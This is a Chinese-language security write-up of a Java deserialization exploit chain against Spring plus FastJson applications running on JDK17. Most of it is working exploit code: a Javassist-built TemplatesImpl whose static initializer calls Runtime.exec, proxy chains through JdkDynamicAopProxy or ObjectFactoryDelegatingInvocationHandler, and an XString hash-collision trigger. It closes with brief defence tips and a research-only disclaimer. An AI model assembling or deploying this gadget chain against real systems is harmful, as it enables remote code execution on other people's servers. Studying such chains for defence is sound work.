spring+fastjosn 杀穿jdk gadegt
字数 985 2025-09-23 19:27:38
Spring + FastJson 反序列化漏洞利用分析(JDK17 环境)
0x01 背景与问题分析
核心问题
在 JDK17 环境下,传统的反序列化利用方式面临两个主要问题:
- 模块系统限制:JDK17 的模块系统限制了跨模块的访问,导致传统利用链失效
- serialVersionUID 不一致:高低版本 Spring 的 AOP 组件以及某些类的 serialVersionUID 不一致,导致反序列化失败
解决方案思路
- 使用
JdkDynamicAopProxy代理javax.xml.transform.Templates,通过 AOP 让调用发生在同一模块内 - 寻找在 JDK8 和 JDK17 上 serialVersionUID 一致的触发头,避免版本兼容性问题
0x02 关键技术点
1. 使用 XString 触发 toString
com.sun.org.apache.xpath.internal.objects.XString 及其子类在 JDK8 和 JDK17 上有相同的 serialVersionUID,可用于触发 toString:
Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xstring = utils.createWithoutConstructor(aClass1);
utils.setFieldValue(xstring, "m_obj", new char[]{});
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("通话", xstring);
hashMap1.put("重地", node);
hashMap2.put("重地", xstring);
hashMap2.put("通话", node);
HashMap map = utils.makeMap(hashMap1, hashMap2);
2. 替代 JdkDynamicAopProxy
当 JdkDynamicAopProxy 在黑名单中时,可使用 ObjectFactoryDelegatingInvocationHandler:
HashMap hashMap = new HashMap<>();
hashMap.put("object", templates);
JSONObject jsonObject = new JSONObject(hashMap);
Object o2 = Proxy.newProxyInstance(
Thread.currentThread().getContextClassLoader(),
new Class[]{ObjectFactory.class},
jsonObject
);
Object inv = utils.createWithoutConstructor(
"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"
);
utils.setFieldValue(inv, "objectFactory", o2);
Object o = Proxy.newProxyInstance(
Thread.currentThread().getContextClassLoader(),
new Class[]{Templates.class},
(InvocationHandler)inv
);
3. FastJson 的特殊处理
FastJson 1.2.48+ 使用 SecureObjectInputStream 进行反序列化,需要添加 JVM 参数:
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.io=ALL-UNNAMED
0x03 完整利用链构造
1. 准备 TemplatesImpl
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open .\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
CtClass ctClass1 = pool.makeClass("Foo");
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = utils.createWithoutConstructor(aClass);
utils.setFieldValue(templates, "_name", "n1ght");
utils.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ctClass1.toBytecode()});
2. 构造代理链
HashMap hashMap = new HashMap<>();
hashMap.put("object", templates);
JSONObject jsonObject = new JSONObject(hashMap);
Object o2 = Proxy.newProxyInstance(
Thread.currentThread().getContextClassLoader(),
new Class[]{ObjectFactory.class},
jsonObject
);
Object inv = utils.createWithoutConstructor(
"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"
);
utils.setFieldValue(inv, "objectFactory", o2);
Object o = Proxy.newProxyInstance(
Thread.currentThread().getContextClassLoader(),
new Class[]{Templates.class},
(InvocationHandler)inv
);
3. 构造触发链
JSONArray objects = new JSONArray();
objects.add(o);
Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars");
Object xstring = utils.createWithoutConstructor(aClass1);
utils.setFieldValue(xstring, "m_obj", new char[]{});
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("通话", xstring);
hashMap1.put("重地", objects);
hashMap2.put("重地", xstring);
hashMap2.put("通话", objects);
HashMap map = utils.makeMap(hashMap1, hashMap2);
ArrayList arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(o);
arrayList.add(map);
4. 序列化与反序列化
byte[] serialize = utils.serialize(arrayList);
utils.unserialize(Base64.getDecoder().decode("BASE64_ENCODED_PAYLOAD"));
0x04 注意事项
- 环境要求:需要 Spring + FastJson 环境
- JDK 版本:该方法在 JDK17 环境下测试通过
- 模块开放:需要目标应用开放相应的模块访问权限
- 依赖版本:需要注意 Spring 和 FastJson 的版本兼容性
0x05 防御建议
- 检查并过滤反序列化数据流
- 使用安全的反序列化框架或方法
- 限制 JVM 的模块开放权限
- 及时更新相关组件的安全补丁
参考资源
本文仅用于安全研究和技术教育目的,请勿用于非法用途。